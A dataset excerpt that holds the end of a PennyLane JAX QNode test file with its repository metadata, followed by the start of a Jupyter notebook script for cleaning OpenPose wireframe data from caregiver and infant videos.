since expval(H) expands to a vector valued return for finite-shots\")\r\n    @pytest.mark.parametrize(\"max_diff\", [1, 2])\r\n    def test_hamiltonian_expansion_finite_shots(\r\n        self, dev_name, diff_method, mode, interface, max_diff, mocker\r\n    ):\r\n        \"\"\"Test that the Hamiltonian is expanded if there\r\n        are non-commuting groups and the number of shots is finite\r\n        and the first and second order gradients are correctly evaluated\"\"\"\r\n        if diff_method in (\"adjoint\", \"backprop\", \"finite-diff\"):\r\n            pytest.skip(\"The adjoint and backprop methods do not yet support sampling\")\r\n\r\n        if interface == \"jax-jit\":\r\n            pytest.skip(\r\n                \"Only Variance and Expectation returns are supported for the jittable JAX interface.\"\r\n            )\r\n\r\n        if max_diff > 1:\r\n            pytest.skip(\"JAX only supports first derivatives\")\r\n\r\n        dev = qml.device(dev_name, wires=3, shots=50000)\r\n        spy = mocker.spy(qml.transforms, \"hamiltonian_expand\")\r\n        obs = [qml.PauliX(0), qml.PauliX(0) @ qml.PauliZ(1), qml.PauliZ(0) @ qml.PauliZ(1)]\r\n\r\n        @qnode(dev, interface=interface, diff_method=diff_method, mode=mode, max_diff=max_diff)\r\n        def circuit(data, weights, coeffs):\r\n            weights = weights.reshape(1, -1)\r\n            qml.templates.AngleEmbedding(data, wires=[0, 1])\r\n            qml.templates.BasicEntanglerLayers(weights, wires=[0, 1])\r\n            H = qml.Hamiltonian(coeffs, obs)\r\n            H.compute_grouping()\r\n            return qml.expval(H)\r\n\r\n        d = jnp.array([0.1, 0.2])\r\n        w = jnp.array([0.654, -0.734])\r\n        c = jnp.array([-0.6543, 0.24, 0.54])\r\n\r\n        # test output\r\n        res = circuit(d, w, c)\r\n        expected = c[2] * np.cos(d[1] + w[1]) - c[1] * np.sin(d[0] + w[0]) * np.sin(d[1] + w[1])\r\n        assert np.allclose(res, expected, atol=0.1)\r\n        spy.assert_called()\r\n\r\n        # test gradients\r\n        grad = jax.grad(circuit, argnums=[1, 2])(d, w, c)\r\n        expected_w = [\r\n            -c[1] * np.cos(d[0] + w[0]) * np.sin(d[1] + w[1]),\r\n            -c[1] * np.cos(d[1] + w[1]) * np.sin(d[0] + w[0]) - c[2] * np.sin(d[1] + w[1]),\r\n        ]\r\n        expected_c = [0, -np.sin(d[0] + w[0]) * np.sin(d[1] + w[1]), np.cos(d[1] + w[1])]\r\n        assert np.allclose(grad[0], expected_w, atol=0.1)\r\n        assert np.allclose(grad[1], expected_c, atol=0.1)\r\n\r\n    #     # test second-order derivatives\r\n    #     if diff_method == \"parameter-shift\" and max_diff == 2:\r\n\r\n    #         grad2_c = jax.jacobian(jax.grad(circuit, argnum=2), argnum=2)(d, w, c)\r\n    #         assert np.allclose(grad2_c, 0, atol=0.1)\r\n\r\n    #         grad2_w_c = jax.jacobian(jax.grad(circuit, argnum=1), argnum=2)(d, w, c)\r\n    #         expected = [0, -np.cos(d[0] + w[0]) * np.sin(d[1] + w[1]), 0], [\r\n    #             0,\r\n    #             -np.cos(d[1] + w[1]) * np.sin(d[0] + w[0]),\r\n    #             -np.sin(d[1] + w[1]),\r\n    #         ]\r\n    #         assert np.allclose(grad2_w_c, expected, atol=0.1)\r\n\r\n\r\njit_qubit_device_and_diff_method = [\r\n    [\"default.qubit\", \"backprop\", \"forward\"],\r\n    # Jit\r\n    [\"default.qubit\", \"finite-diff\", \"backward\"],\r\n    [\"default.qubit\", \"parameter-shift\", \"backward\"],\r\n    [\"default.qubit\", \"adjoint\", \"forward\"],\r\n    [\"default.qubit\", \"adjoint\", \"backward\"],\r\n]\r\n\r\n\r\n@pytest.mark.parametrize(\"dev_name,diff_method,mode\", jit_qubit_device_and_diff_method)\r\nclass TestJIT:\r\n    \"\"\"Test JAX JIT integration with the QNode and automatic resolution of the\r\n    correct JAX interface variant.\"\"\"\r\n\r\n    def test_gradient(self, dev_name, diff_method, mode, tol):\r\n        \"\"\"Test derivative calculation of a scalar valued QNode\"\"\"\r\n        dev = qml.device(dev_name, wires=1)\r\n\r\n        if diff_method == \"adjoint\":\r\n            pytest.xfail(reason=\"The adjoint method is not using host-callback currently\")\r\n\r\n        @jax.jit\r\n        @qnode(dev, diff_method=diff_method, interface=\"jax\", mode=mode)\r\n        def circuit(x):\r\n            qml.RY(x[0], wires=0)\r\n            qml.RX(x[1], wires=0)\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        x = jnp.array([1.0, 2.0])\r\n        res = circuit(x)\r\n        g = jax.grad(circuit)(x)\r\n\r\n        a, b = x\r\n\r\n        expected_res = np.cos(a) * np.cos(b)\r\n        assert np.allclose(res, expected_res, atol=tol, rtol=0)\r\n\r\n        expected_g = [-np.sin(a) * np.cos(b), -np.cos(a) * np.sin(b)]\r\n        assert np.allclose(g, expected_g, atol=tol, rtol=0)\r\n\r\n    @pytest.mark.filterwarnings(\r\n        \"ignore:Requested adjoint differentiation to be computed with finite shots.\"\r\n    )\r\n    @pytest.mark.parametrize(\"shots\", [10, 1000])\r\n    def test_hermitian(self, dev_name, diff_method, mode, shots):\r\n        \"\"\"Test that the jax device works with qml.Hermitian and jitting even\r\n        when shots>0.\r\n\r\n        Note: before a fix, the cases of shots=10 and shots=1000 were failing due\r\n        to different reasons, hence the parametrization in the test.\r\n        \"\"\"\r\n        dev = qml.device(dev_name, wires=2, shots=shots)\r\n\r\n        if diff_method == \"backprop\":\r\n            pytest.skip(\"Backpropagation is unsupported if shots > 0.\")\r\n\r\n        if diff_method == \"adjoint\" and mode == \"forward\":\r\n            pytest.skip(\"Computing the gradient for Hermitian is not supported with adjoint.\")\r\n\r\n        projector = np.array(qml.matrix(qml.PauliZ(0) @ qml.PauliZ(1)))\r\n\r\n        @jax.jit\r\n        @qml.qnode(dev, interface=\"jax\", diff_method=diff_method, mode=mode)\r\n        def circ(projector):\r\n            return qml.expval(qml.Hermitian(projector, wires=range(2)))\r\n\r\n        assert jnp.allclose(circ(projector), 1)\r\n\r\n    @pytest.mark.filterwarnings(\r\n        \"ignore:Requested adjoint differentiation to be computed with finite shots.\"\r\n    )\r\n    @pytest.mark.parametrize(\"shots\", [10, 1000])\r\n    def test_probs_obs_none(self, dev_name, diff_method, mode, shots):\r\n        \"\"\"Test that the jax device works with qml.probs, a MeasurementProcess\r\n        that has obs=None even when shots>0.\"\"\"\r\n        dev = qml.device(dev_name, wires=2, shots=shots)\r\n\r\n        if diff_method == \"backprop\":\r\n            pytest.skip(\"Backpropagation is unsupported if shots > 0.\")\r\n\r\n        @qml.qnode(dev, interface=\"jax\", diff_method=\"parameter-shift\")\r\n        def circuit():\r\n            return qml.probs(wires=0)\r\n\r\n        assert jnp.allclose(circuit(), jnp.array([1.0, 0.0]))\r\n\r\n    @pytest.mark.xfail(\r\n        reason=\"Non-trainable parameters are not being correctly unwrapped by the interface\"\r\n    )\r\n    def test_gradient_subset(self, dev_name, diff_method, mode, tol):\r\n        \"\"\"Test derivative calculation of a scalar valued QNode with respect\r\n        to a subset of arguments\"\"\"\r\n        a = jnp.array(0.1)\r\n        b = jnp.array(0.2)\r\n\r\n        dev = qml.device(dev_name, wires=1)\r\n\r\n        @jax.jit\r\n        @qnode(dev, diff_method=diff_method, interface=\"jax\", mode=mode)\r\n        def circuit(a, b):\r\n            qml.RY(a, wires=0)\r\n            qml.RX(b, wires=0)\r\n            qml.RZ(c, wires=0)\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        res = jax.grad(circuit, argnums=[0, 1])(a, b, 0.0)\r\n\r\n        expected_res = np.cos(a) * np.cos(b)\r\n        assert np.allclose(res, expected_res, atol=tol, rtol=0)\r\n\r\n        expected_g = [-np.sin(a) * np.cos(b), -np.cos(a) * np.sin(b)]\r\n        assert np.allclose(g, expected_g, atol=tol, rtol=0)\r\n", "meta": {"hexsha": "f46440514c0588e5db93624bf61f7fe4729d9f4a", "size": 53579, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/interfaces/test_jax_qnode.py", "max_stars_repo_name": "MoritzWillmann/pennylane", "max_stars_repo_head_hexsha": "2b07d22cfcc6406ba28e5c647062340b240a4ee5", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 539, "max_stars_repo_stars_event_min_datetime": "2018-11-13T08:45:42.000Z", "max_stars_repo_stars_event_max_datetime": "2020-07-27T18:17:16.000Z", "max_issues_repo_path": "tests/interfaces/test_jax_qnode.py", "max_issues_repo_name": "MoritzWillmann/pennylane", "max_issues_repo_head_hexsha": "2b07d22cfcc6406ba28e5c647062340b240a4ee5", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 588, "max_issues_repo_issues_event_min_datetime": "2018-11-14T10:21:47.000Z", "max_issues_repo_issues_event_max_datetime": "2020-07-28T06:27:14.000Z", "max_forks_repo_path": "tests/interfaces/test_jax_qnode.py", "max_forks_repo_name": "MoritzWillmann/pennylane", "max_forks_repo_head_hexsha": "2b07d22cfcc6406ba28e5c647062340b240a4ee5", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 165, "max_forks_repo_forks_event_min_datetime": "2018-11-13T18:58:56.000Z", "max_forks_repo_forks_event_max_datetime": "2020-07-27T17:18:17.000Z", "avg_line_length": 38.4078853047, "max_line_length": 112, "alphanum_fraction": 0.5548069206, "include": true, "reason": "import numpy,from jax", "num_tokens": 14681, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.11757214282138605, "lm_q1q2_score": 0.05649090775807929}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py:light\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.7.1\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# # Video Actor Synchroncy and Causality (VASC)\n# ## RAEng: Measuring Responsive Caregiving Project\n# ### Caspar Addyman, 2020\n# ### https://github.com/infantlab/VASC\n#\n# # Step 2: Reorganise the OpenPose JSON wire frame data\n#\n# This script uses output from [OpenPose](https://github.com/CMU-Perceptual-Computing-Lab/openpose) human figure recognition neural network to create labeled wireframes for each figure in each frame of a video. \n#\n#\n# The `write_json flag` saves the people pose data using a custom JSON writer. Each JSON file has a set of coordinates and confidence scores for each person identified in the frame. For a given person there is:\n#\n# > An array pose_keypoints_2d containing the body part locations and detection confidence formatted as x1,y1,c1,x2,y2,c2,.... The coordinates x and y can be normalized to the range [0,1], [-1,1], [0, source size], [0, output size], etc., depending on the flag keypoint_scale (see flag for more information), while c is the confidence score in the range [0,1].\n#\n# <img src=\"keypoints_pose_25.png\" alt=\"BODY-25 mapping\" width=\"240\"/>\n\n# ## 2.1 - import modules and initialise variables\n\n# +\nimport os                #operating system functions\nimport math              #simple math\nimport glob              #file listing\nimport json              #importing and exporting json files \nimport cv2               #computervision toolkit\nimport numpy as np       #tools for numerical data\nimport pandas as pd      \nimport logging\nimport ipywidgets as widgets  #let's us add buttons and sliders to this page.\nfrom ipycanvas import Canvas\n\n\nimport matplotlib.pyplot as plt\n# %matplotlib inline\n\nimport vasc #a module of our own functions (found in vasc.py in this folder)\n\n#turn on debugging\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n# %pdb on   \n# -\n\n# #### 2.1.1 - anonymise the videos?\n#\n# Setting the `anon` flag to \n#\n# * `True` - we will not display just the wireframes on black backround without the underlying images from the video. \n# * `False` - we will *attempt to* draw video images - If videos are not available we fall back to anonymous mode \n\nanon = False\n\n# ## 2.2 - Where are the data?\n#\n# This routine only needs to know where to find the processed data  and what are the base names. The summary information is listed in the `videos.json` file we created. The raw numerical data is in `allframedata.npz`.\n\n# +\n# where's the project folder? (without trailing slash)\nprojectpath = \"C:\\\\Users\\\\cas\\\\OneDrive - Goldsmiths College\\\\Projects\\\\Measuring Responsive Caregiving\\\\VASCTutorial\"\n#where are the videos\nvideos_in = \"C:\\\\Users\\\\cas\\\\OneDrive - Goldsmiths College\\\\Projects\\\\Measuring Responsive Caregiving\\\\VASCTutorial\\\\demovideos\"\n\n# locations of videos and output\nvideos_in = projectpath \nvideos_out   = projectpath + \"\\\\out\"\nvideos_out_openpose   = videos_out + \"\\\\openpose\"\nvideos_out_timeseries = videos_out + \"\\\\timeseries\"\nvideos_out_analyses   = videos_out + \"\\\\analyses\"\n\nprint(videos_out_openpose)\nprint(videos_out_timeseries)\nprint(videos_out_analyses)\n# -\n\n#retrieve the list of base names of processed videos.\ntry:\n    with open(videos_out + '\\\\videos.json') as json_file:\n        videos = json.load(json_file)\n        print(\"Existing videos.json found..\")\nexcept:\n    videos = {}\n    print(\"videos.json not found in \", videos_out)\n\n#optional - check the json\nfor vid in videos:  \n    print(vid)\n    for cam in videos[vid]:\n        print(videos[vid][cam])\n\n# ### Step 2.2.1 Load or reload the raw/cleaned data.\n#\n# At this step we can either load the unprocessed data from Step 1 - `allframedata.npz` or we can load a cleaned or partially cleaned set of data that has already by processed in an earlier session - `cleandata.npz`.\n\n# EITHER \n# can reload the original values without recomputing\nreloaded = np.load(videos_out_timeseries + '\\\\allframedata.npz')\n# OR\n# load clean or partially cleaned data from a previous session\n#reloaded = np.load(videos_out_timeseries + '\\\\cleandata.npz')\nkeypoints_original = reloaded[\"keypoints_array\"] #the unprocessed data\n\n\nkeypoints_array = keypoints_original  #an array where we clean the data.\n\n#check the shape\nkeypoints_array.shape\n\n# ## Step 2.3 Clean the data\n#\n# We now have an numpy array called `keypoints_array` containing all the openpose numbers for all videos. Now we need to do some cleaning of the data. We provide set of tools to do this. There are several tasks we need to do.\n#\n# 1. Pick camera with best view of both participants - swap this to camera 1 (if multiple cameras).\n# 2. You might delete sets for whom all data is too poor quality. But they can also be excluded in **Step 3** by a flag in the data spreadsheet. \n# 3. Tag the adult & infant in first frame of interest. So both individuals should be in first frame.\n# 4. Try to automatically tag then in subsequent frames.\n# 5. Manually fix anything the automatic process gets wrong.\n# 6. Exclude other detected people (3rd parties & false positives)\n#\n# We do all of this with the control panel below. \n#\n\n# ### Step 2.3.1: Which is best camera angle?\n#\n# If we have just one camera then use that. If there are multiple angles, pick the best one and swap it to be \"camera1\". \n#\n\n# ### Step 2.3.2: Where does the interesting data start and end?\n#\n# For many videos, the period of interest might start (and end) some time into the video. For now we are using the whole video .\n# TODO  - We wiil give the user the opportunity to set these.\n#\n\n#let's loop through the processed list and set and startframe and endframe for each video\n# for the moment we'll just use the full video.\n# TODO - we will let the use specify this per video \nfor vid in videos:\n    for cam in videos[vid]:\n        videos[vid][cam][\"start\"] = 0\n        videos[vid][cam][\"end\"] = videos[vid][cam][\"frames\"]\n\n# ### Step 2.3.2: Tag the actors of interest at start\n#\n# We want to know which person is the adult and which is the infant in the first frame. We want the child to be Person 0 and Adult to be Person 1. The buttons below provide the choice to swap data series so that this is correct.\n#\n# For example, if child data starts in series 3, we pick 3 in the drop down list next to button `Swap to child (0)` and then press the button. This will swap these two series.\n#\n# This function operates beyond the current frame so it's possible to use it multiple times if data jumps around. However, there is a short cut for part of this process..\n\n# ### Step 2.3.3: Fix by location - Track actors frame by frame\n#\n# At present OpenPose doesn't track individuals from one frame to the next (I believe they are working on this). It just labels each person in each frame. This means that Person 1 in frame 1 might become Person 2 by frame 100. Here we provide some tools that automatically trying to guess who is who. This is tricky so we also ask for human input. \n#\n# Once the child and adult data start in series 0 and 1 respectively, press the `Fix by location` button.\n#\n# If this leaves a few errors we can move slider to affected frame and use the swap series function to manually correct.\n\n# ### Step 2.3.4: Fix by size - identify data by size of wireframes.\n#\n# In many of our cases of interest we have an adult and a young child interacting. Therefore, it is handy to try autolabelling based on a sorting of the size of their wireframes. \n#\n# Pressing the `Fix by size` button, makes person 0 the smallest person in the frame, person 1 the next smallest and so on.\n\n# ### Step 2.3.4: Exclude other people\n#\n# Finally we can delete any people in background or false positives (ghosts) detected by OpenPose. We simply set these to zero.\n\n# ## CONTROL PANEL\n#\n# Run this BIG block of code to provide controls to edit and reorganise the data. \n# If anything goes wrong you can revert to the original data. \n#\n# This needs `ipywidgets` and `ipycanvas` to be installed. (See [Step 0](Step0.GettingStarted.ipynb))\n\n# +\n###############################################################\n# All the code in this block draws our data editing control panel\n###############################################################\n\n###############################################################\n## a canvas object to show current frame of the video.\ncanvas = Canvas(width=800, height=600)\n\n###############################################################\n## dropbown lists to select the video and the camera (if multiple angles)\n## next to the video dropdown we have Delete button to remove that vid\n## next to the camera dropdown we have a swap button to choose a primary camera.\nvidlist = [] #used to fill dropdown options\ncamlist = [] #used to fill dropdown options\nfor vid in videos:  \n    vidlist.append(vid)\n    \nfor cam in videos[vid]:  \n    camlist.append(cam)\n    \npickvid = widgets.Dropdown(\n    options= vidlist,\n    value= vidlist[0],\n    description='Select subject:'\n)\nbutton_exclude =  widgets.Button(description='DELETE THIS ONE!')\n\npickcam = widgets.Dropdown(\n    options= camlist,\n    value= camlist[0],\n    description='Select camera:'\n)\nbutton_swapcam = widgets.Button(description=\"Swap this to camera1\")\ncambox = widgets.HBox([pickcam, button_swapcam])\n\n###############################################################\n## Who is who? \n## In processed video we want child in index 0 and adult in index 1.\n## so need ability to swap series and delete unwanted data.\n## pressing button_swapchild swaps selected set of data to be index 0 - default for child.\n\nbutton_swapchild = widgets.Button(description=\"Swap to child (0)\") \nchild = widgets.Dropdown(\n    options = list(range(10)),\n    value= 0,\n    description='Set: '\n)\nbabybox = widgets.HBox([button_swapchild, child])\n\nadult = widgets.Dropdown(\n    options = list(range(10)),\n    value= 1,\n    description='Set: '\n)\nbutton_swapadult = widgets.Button(description=\"Swap to adult (1)\")\nadultbox = widgets.HBox([button_swapadult,adult])\n\nbutton_remove = widgets.Button(description=\"Remove these data\")\nremove = widgets.Dropdown(\n    options = list(range(10)),\n    value= 2,\n    description='Set: '\n)\nremovebox = widgets.HBox([button_remove,remove])\n\n\n###############################################################\n## What frame is displayed in the canvas?\n## all swap and delete operation work on data AFTER this frame.\n## include a few buttons to adjust the frame forward or backwards slightly\nslider = widgets.IntSlider(\n    value=0,\n    min=0,\n    max=161,\n    step=1,\n    description='Frame:',\n    continuous_update=False,\n    orientation='horizontal',\n    readout=True,\n    readout_format='d',\n    layout=widgets.Layout(width='800px')\n)\n\n#buttons to adjust the slider in small increments \nminus1pct = widgets.Button(description=\"-1%\")\nminus10 = widgets.Button(description=\"-10\")\nminus1 = widgets.Button(description=\"-1\")\nplus1 = widgets.Button(description=\"+1\")\nplus10 = widgets.Button(description=\"+10\")\nplus1pct = widgets.Button(description=\"+1%\")\n\ndef minus1pct_clicked(output):\n    slider.value = max(0,slider.value - 0.01 * slider.max)\ndef minus10_clicked(output):\n    slider.value = max(0,slider.value - 10)\ndef minus1_clicked(output):\n    slider.value = max(0,slider.value - 1)\ndef plus1_clicked(output):\n    slider.value = min(slider.max,slider.value + 1)\ndef plus10_clicked(output):\n    slider.value = min(slider.max,slider.value + 10)\ndef plus1pct_clicked(output):\n    slider.value = min(slider.max,slider.value + 0.01 * slider.max)\n                       \nminus1pct.on_click(minus1pct_clicked)\nminus10.on_click(minus10_clicked)\nminus1.on_click(minus1_clicked)\nplus1.on_click(plus1_clicked)\nplus10.on_click(plus10_clicked)\nplus1pct.on_click(plus1pct_clicked)\n\nadjustbox  = widgets.HBox([minus1pct,minus10,minus1,plus1,plus10,plus1pct])\n\n\n###############################################################\n## Action buttons\n## To redraw everything it's current state, to attempt autofixing or to undo some or all our changes\n\nbutton_update = widgets.Button(description=\"Redraw\")\nbutton_fixlocations = widgets.Button(description=\"Fix by location\",tooltip=\"match each person to nearest person in next frame\")\nbutton_fixsizes = widgets.Button(description=\"Fix by size\",tooltip=\"label people sequentially by size of their wireframe\")\nbutton_reset_one = widgets.Button(description=\"Reset this video\")\nbutton_reset_all = widgets.Button(description=\"Reset all\")\nbuttonbox = widgets.HBox([button_update,button_fixlocations,button_fixsizes,button_exclude,button_reset_one,button_reset_all])\noutput = widgets.Output()\n\n\n###############################################################\n## Widget 'Event' codes\n## watches each widget waiting for something to change and then executes these bits of code. \n\ndef pickvid_change(change):\n    if change['name'] == 'value' and (change['new'] != change['old']):\n        updateAll(True)\n        \ndef pickcam_change(change):\n    if change['name'] == 'value' and (change['new'] != change['old']):\n        updateAll(True)\n\ndef slider_change(slider):\n    updateAll(False)\n\ndef on_button_clicked(output):\n    logging.info('button_update_all clicked')\n    updateAll(True)\n\ndef on_reset_all(output):\n    global keypoints_array\n    logging.info('button_reset_all clicked')\n    keypoints_array = np.copy(keypoints_original)\n    updateAll(True)\n\ndef on_fixlocations(output):\n    global keypoints_array\n    logging.info('on_fixlocations')\n    v = videos[pickvid.value][pickcam.value][\"v\"]\n    c = videos[pickvid.value][pickcam.value][\"c\"]\n    end  = videos[pickvid.value][pickcam.value][\"end\"]\n    window = 10\n    vasc.fixpeopleSeries(keypoints_array,v,c,[0,1],slider.value, end, window)\n    updateAll(True)\n    \ndef on_fixsizes(output):\n    global keypoints_array\n    logging.info('on_fixsizes')\n    v = videos[pickvid.value][pickcam.value][\"v\"]\n    c = videos[pickvid.value][pickcam.value][\"c\"]\n    N = videos[vid][cam][\"maxpeople\"]\n    end  = videos[pickvid.value][pickcam.value][\"end\"]\n    vasc.sortpeoplebySize(keypoints_array,v,c,N,slider.value, end)\n    updateAll(True)\n\ndef on_deleteparticipant(output):\n    global keypoints_array\n    global videos\n    logging.info('on_deleteparticipant')\n    for cam in videos[pickvid.value]: #loop through delete all cameras for this video.\n        v = videos[pickvid.value][cam][\"v\"]\n        c = videos[pickvid.value][cam][\"c\"]\n        end  = videos[pickvid.value][cam][\"end\"]\n        vasc.deleteSeries(keypoints_array,v,c,remove.value,0, end)\n    #now remove this from videos object\n    if pickvid.value in videos:\n        logging.info(pickvid.value)\n        del videos[pickvid.value]\n    #repopulate the dropdown\n    for vid in videos:  \n        vidlist.append(vid)\n    pickvid.options = vidlist\n    updateAll(True)\n    \ndef on_deleteseries(output):\n    global keypoints_array\n    global videos\n    logging.info('on_fixseries')\n    v = videos[pickvid.value][pickcam.value][\"v\"]\n    c = videos[pickvid.value][pickcam.value][\"c\"]\n    end  = videos[pickvid.value][pickcam.value][\"end\"]\n    vasc.deleteSeries(keypoints_array,v,c,remove.value,slider.value, end)\n    updateAll(True)\n\ndef on_swapcam(output):\n    global keypoints_array\n    global videos\n    logging.info('on_swapcam')\n    print(videos[pickvid.value][pickcam.value])\n    videos, keypoints_array = vasc.swapCameras(videos, keypoints_array,pickvid.value,pickcam.value,\"camera1\")\n    updateAll(True)\n    \ndef on_swapchild(output):\n    global keypoints_array\n    global videos\n    logging.info('on_swapchild')\n    v = videos[pickvid.value][pickcam.value][\"v\"]\n    c = videos[pickvid.value][pickcam.value][\"c\"]\n    end  = videos[pickvid.value][pickcam.value][\"end\"]\n    vasc.swapSeries(keypoints_array,v,c,0,child.value,slider.value,end)\n    updateAll(True)\n\ndef on_swapadult(output):\n    global keypoints_array\n    global videos\n    logging.info('on_swapadult')\n    v = videos[pickvid.value][pickcam.value][\"v\"]\n    c = videos[pickvid.value][pickcam.value][\"c\"]\n    end  = int(videos[pickvid.value][pickcam.value][\"end\"])\n    vasc.swapSeries(keypoints_array,v,c,1,adult.value,slider.value,end)\n    updateAll(True)\n\n\nslider.observe(slider_change, 'value')\npickvid.observe(pickvid_change, 'value') \npickcam.observe(pickcam_change, 'value') \nbutton_exclude.on_click(on_deleteparticipant) \nbutton_swapcam.on_click(on_swapcam)\nbutton_swapchild.on_click(on_swapchild)\nbutton_swapadult.on_click(on_swapadult)\nbutton_fixsizes.on_click(on_fixsizes)\nbutton_fixlocations.on_click(on_fixlocations)\nbutton_remove.on_click(on_deleteseries)\nbutton_update.on_click(on_button_clicked)\nbutton_reset_all.on_click(on_reset_all)\n\n###############################################################\n## ## functions to draw complicated stuff..\ndef drawOneFrame(vid, cam, frameNum):\n    # which subarray of data do we need?\n    v = videos[vid][cam][\"v\"]\n    c = videos[vid][cam][\"c\"]\n    if anon == True:\n        #draw a black image\n        frame = np.zeros((videos[vid][cam][\"height\"], videos[vid][cam][\"width\"], 3), dtype = \"uint8\")\n    else:\n        vidpath = videos[pickvid.value][pickcam.value][\"fullpath\"]\n        frame = vasc.getframeimage(vidpath,frameNum) \n    vasc.drawPoints(frame,keypoints_array[v,c,frameNum,:,:],videos[vid][cam][\"maxpeople\"])\n    vasc.drawLines(frame,keypoints_array[v,c,frameNum,:,:],videos[vid][cam][\"maxpeople\"])\n    vasc.drawBodyCG(frame,keypoints_array[v,c,frameNum,:,:],videos[vid][cam][\"maxpeople\"])\n    #send the image to the canvas\n    img = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n    hiddencanvas = Canvas(width=img.shape[1], height=img.shape[0])\n    hiddencanvas.put_image_data(img, 0, 0)\n    canvas.draw_image(hiddencanvas,0,0,canvas.width,canvas.height)\n    canvas.restore()\n    \ndef drawMovementGraph(vid, cam, points, frame = 0, average = True):\n    v = videos[vid][cam][\"v\"]\n    c = videos[vid][cam][\"c\"]\n    N = videos[vid][cam][\"frames\"]\n    t = np.zeros([N,1])\n    t[:,0]= list(range(N))\n\n    #variable to track the centre of gravity for each person\n    ceegees = np.zeros([N,videos[vid][cam][\"maxpeople\"]])\n\n    for frameNum in range(N):\n        for p in range(videos[vid][cam][\"maxpeople\"]):\n            personkeypoints = keypoints_array[v,c,frameNum,p,:]\n            avx = vasc.averagePoint(personkeypoints,vasc.xs)\n            if (avx > 0):\n                ceegees[frameNum,p] = avx\n            else:\n                ceegees[frameNum,p] = None\n\n    plt.figure(figsize=(12, 4))\n    plt.plot(t,ceegees)\n    plt.axvline(x=frame,c='tab:cyan')\n    plt.title('Horizontal movement of people (average) over time.)')\n    plt.legend([0, 1, 2, 3])\n    plt.show()\n\n###############################################################\n## Handy update routine to run each time something has changed\ndef updateAll(forceUpdate = False):\n    output.clear_output(wait = True)\n    if forceUpdate:\n        slider.value = 0\n        slider.max = videos[pickvid.value][pickcam.value][\"end\"]\n    with output:\n        display(canvas,pickvid,cambox, babybox,adultbox,removebox, buttonbox, slider, adjustbox)  \n        drawOneFrame(pickvid.value,pickcam.value,slider.value)\n        drawMovementGraph(pickvid.value,pickcam.value,vasc.xs,slider.value,True)\n\n#draw everything for first time\nupdateAll(True)\noutput\n# -\n\n# ### Step 2.4: TODO - Correct for camera motion?\n#\n# Some video sets the camera is not fixed. Any camera movements will cause perfectly correlated movements in the pair of signals. We need to decide what (if anything) to do about this. (Not yet implemented.)\n#\n#\n\n# ### Step 2.5: TODO - Interpolate missing data\n#\n# There are still likely to be gaps. We need to decide what to do about those.  At the moment interpolation is done by scipy in the Step 3 code.\n#\n# #### Step 2.5.1. TODO - autofix to cope with missing data\n#\n# Missing data currently confuses autofix and on it's own interpolation won't help here. Because you can't interpolate until you know who is who. Our current approach is to let autofix by location use a moving average of several previous frames. \n\n# ### Step 2.6: TODO - Save your game\n#\n# Ought to be able to save the array when you half way through cleaning it. So you don't lose progress can come back another time. \n# You can do this manually at the moment by running step 2.7 to save current progress and then restarting by reloading `cleandata.npz` in step 2.2.1 \n\nkeypoints_array.shape\n\n# ## Step 2.7: Save the numpy data!\n#\n# ### *Warning, with BIG datasets, these steps can take multiple minutes each...*\n#\n# Saving the data at this stage so we don't have to repeat these steps again if we reorganise or reanalyse the data.\n#\n# We create a compressed NumPy array `cleandata.npz` containing the person location data for all the videos. \n#\n# We also update the `videos.json` file with more info about the videos. in a new file called `clean.json`. \n#\n\n# +\n#update the json file in the video out directory\nwith open(videos_out + '\\\\clean.json', 'w') as outfile:\n    json.dump(videos, outfile)\n\n# in the time series folder we save the data file. \n#in a compressed format as it has a lot of empty values\nnp.savez_compressed(videos_out_timeseries + '\\\\cleandata.npz', keypoints_array=keypoints_array)\n# -\n\n# ## Step 2.8: Save a pandas dataframe version too.\n#\n# Most of our analysis will be done with SciPy which uses pandas dataframes as its main data format. So let's build a multiindex dataframe containing just the data we need. \n#\n# The rows will have three levels of hierarchy (video x person x BODY25-coordinate). The rows are the individual frames. So a single column will contain the complete time-series of a single dimension of a single point of one person.  So in this example: \n# ```\n# rows 0-411 represent the 412 frames of data.\n#\n# col 0 is x-coordinate of point 0 (nose) of infant in video 'lookit.01'\n# col 1 is y-coordinate of point 0 (nose) of infant in video 'lookit.01'\n# col 2 is openpose confidence score for how well it identified that point.\n# ```\n#\n# <img src=\"multiindexdataframe.png\" alt=\"multiindex\" width=\"871\"/>\n#\n\n#optional\n#can reload the clean values without recomputing steps above\nreloaded = np.load(videos_out_timeseries + '\\\\cleandata.npz')\nkeypoints_array = reloaded[\"keypoints_array\"] #the unprocessed data\nkeypoints_array.shape\n\n#delete all cameras except 0 \nkeypoints_array = np.delete(keypoints_array,np.s_[1:],1)\n#delete all people except 0 & 1\nkeypoints_array = np.delete(keypoints_array,np.s_[2:],3)\n\n\n#truncate the timeseries - many videos are longer than we need\nkeypoints_array = np.delete(keypoints_array,np.s_[10000:],2)\nshp = keypoints_array.shape\nkeypoints_array.shape\n\n\n# Another save point - this array is much smaller so will load / Save quicker.\n\nnp.savez_compressed(videos_out_timeseries + '\\\\trimdata.npz', keypoints_array=keypoints_array)\n\n#Another save point here if it helps.\ntrimmed = np.load(videos_out_timeseries + '\\\\trimdata.npz')\nkeypoints_array = trimmed[\"keypoints_array\"] #the unprocessed data\nkeypoints_array.shape\n\n\n# Now we reorganise the data in a multiindex pandas array and save using `pyarrow`. \n# First create an empty dataframe with right shape\n\n# +\n#first list the three levels of row hierarchy\ntoplevel = videos.keys()\nparticipants = [\"infant\",\"parent\"]\ncoords = list(range(3*vasc.nPoints)) #we have 3 x 25 coordinates to store\n\n#columns are frames\ntimeseries = list(range(shp[2])) #how big is third dimension of the array?\n\ncol_names = ['video','person','coord']\n#row_names = ['frames']\n\ncol_index = 